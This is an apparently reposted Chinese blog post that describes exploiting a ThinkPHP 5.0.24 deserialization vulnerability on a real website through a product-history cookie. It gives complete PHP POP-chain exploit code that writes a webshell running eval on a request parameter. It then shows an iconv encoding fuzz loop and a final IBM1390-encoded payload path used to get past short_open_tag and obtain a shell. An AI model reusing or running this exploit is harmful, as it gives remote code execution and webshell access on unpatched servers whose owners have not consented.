• thinkphp5.0.x反序列化之遇到php开启短标签


    前言

    这是我实战中第一次遇到的反序列化漏洞并成功利用,该漏洞的触发点是在未登录的用户访问浏览过的商品时会将商品信息序列化后保存在cookie中,所以将cookie[xxxx_goods]的值替换成payload即会触发发序列化,该站使用的tinkphp5.0.24框架,就想着直接从网上找payload打,结果打了半天没成功就很郁闷。

    分析为啥没成功

    先贴上我找到的payload是这个

    php
    <?php
    namespace thinkprocesspipes;
    use thinkmodelPivot;
    class Pipes{
    
    }
    
    class Windows extends Pipes{
        private $files = [];
    
        function __construct(){
            $this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
        }
    }
    
    namespace thinkmodel;#Relation
    use thinkdbQuery;
    abstract class Relation{
    
    }
    
    namespace thinkmodel
    elation;#OneToOne HasOne
    use thinkmodelRelation;
    use thinkdbQuery;
    abstract class OneToOne extends Relation{
    
    }
    class HasOne extends OneToOne{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        function __construct(){
            $this->bindAttr = ["no","123"];
            $this->selfRelation = false;
            $this->query = new Query();#class Query
        }
    }
    
    namespace think;#Model
    use thinkmodel
    elationHasOne;
    use thinkconsoleOutput;
    use thinkdbQuery;
    abstract class Model{
        protected $append = [];
        protected $error;
        protected $parent;
        protected $selfRelation;
        protected $query;
    
        function __construct(){
            $this->append = ['getError'];
            $this->error = new HasOne();//Relation子类,且有getBindAttr()
            $this->parent = new Output();#Output对象,目的是调用__call()
            $this->selfRelation = false;//isSelfRelation()
            $this->query = new Query();
    
        }
    }
    
    namespace thinkdb;#Query
    use thinkconsoleOutput;
    class Query{
        protected $model;
        function __construct(){
            $this->model = new Output();
        }
    }
    
    namespace thinkconsole;#Output
    use thinksessiondriverMemcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->handle = new Memcached();//目的调用其write()
            $this->styles = ['getAttr'];
        }
    }
    namespace thinksessiondriver;#Memcached
    use thinkcachedriverFile;
    class Memcached{
        protected $handler = null;
        protected $config  = [];
        function __construct(){
            $this->handler = new File();//目的调用File->set()
            $this->config = [
                'host'         => '127.0.0.1', // memcache主机
                'port'         => 11211, // memcache端口
                'expire'       => 3600, // session有效期
                'timeout'      => 0, // 连接超时时间(单位:毫秒)
                'session_name' => '', // memcache key前缀
                'username'     => '', //账号
                'password'     => '', //密码
            ];
        }
    }
    namespace thinkcachedriver;#File
    class File{
        protected $options = [];
        protected $tag;
        function __construct(){
            $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=./demo/<?cuc cucvasb();riny($_TRG[pzq]);?>',
            'data_compress' => false,
            ];
            $this->tag = true;
        }
    }
    
    namespace thinkmodel;
    use thinkModel;
    class Pivot extends Model{
    
    }
    use thinkprocesspipesWindows;
    echo base64_encode(serialize(new Windows()));
    第一个坑

    该payload按道理是会在当前目录创建一个<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php,unserialize($payload)没有报一丁点的错误信息,我在本地复现确实可以,可是访问目标站点一直是404实在是百思不得其解。后来看某师傅文章发现model类中$this->parent的属性需要修改为public.猜测是:model子类Pivot中也有该变量parent,属性为public;而基类model的parent为protected,可能导致了没有赋值成功,修改poc后成功解决,经测试PHP5.6、7.0、7.1、7.2可用(应该都行了)

    第二个坑

    现在使用修改过的payload确实可以生成<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php文件,又遇到了一个新的问题,当我访问该文件时网站报如下错误:

    PHP Parse error:  syntax error, unexpected 'rkvg' (T_STRING) in /var/www/html/public/<?cuc cucvasb();riny($_TRG[pzq]);?>3b11e4b835d256cc6365eaa91c09a33f.php on line 3
    

    经过查找发现这是因为该网站支持php短标签:short_open_tag = On,悲剧了让我们看看我们写进去的php文件的内容:

    因为短标签的支持导致

    cuc
    //000000000000
     rkvg();

    被当作php代码来执行,又因为cuc和rkvg中间有空格所以报了上方的错误。

    动手修改payload

    找到原因了,thinkphp如何生成的payload,我就不分析(好复杂)了,但是写入的文件内容的是由

    'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',

    这个path决定,之所以用到rot13过滤器是因为原本写入的文件内容包含exit(),使用rot13就能将exit()给bypass。可是现在还要bpass<?这个字符串。思路是找到其他的过滤器,能够把<?给转换成不解析的文本,同时又将某种编码的文本转换成php代码。
    贴上kali的bash下fuzz语句:

    for i in `iconv -l` ; do echo ${i%//};iconv -f utf-8 -t ${i%//} <<< "<?php phpinfo();eval($_POST[1]);?>"|xxd;done

    发现IBM1390很合适

    通过xxd可以发现会有一些不可见的字符,问题不大,使用urldecode来写入,最终payload长这样:

    'path'          => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource='.urldecode('%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%25'),

    利用修改后的payload,然后访问http://127.0.0.1/public/%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%253b58a9545013e88c7186db11bb158c44.php成功getshell.

    参考链接:

    http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/

  • 相关阅读:
    关于产品的一些想法
    js中this的问题
    C# webkit 内核浏览器 访问https 网站 提示 Problem with the SSL CA cert (path? access rights?)
    SSL握手中win xp和SNI的那点事
    VMware安装GHOST版XP不成功的解决
    Inno Setup入门(十二)——Pascal脚本(1)
    VS打包软件部署------ClickOnce应用安装 (各版本.net引导文件安装,再发布文档离线安装下载地址)
    利用VS自带的命令行工具查看和生产PublicKeyToken
    获取批处理文件所在路径
    Nginx Windows详细安装部署教程
  • 原文地址:https://www.cnblogs.com/0daybug/p/13094437.html
Copyright © 2020-2023  润新知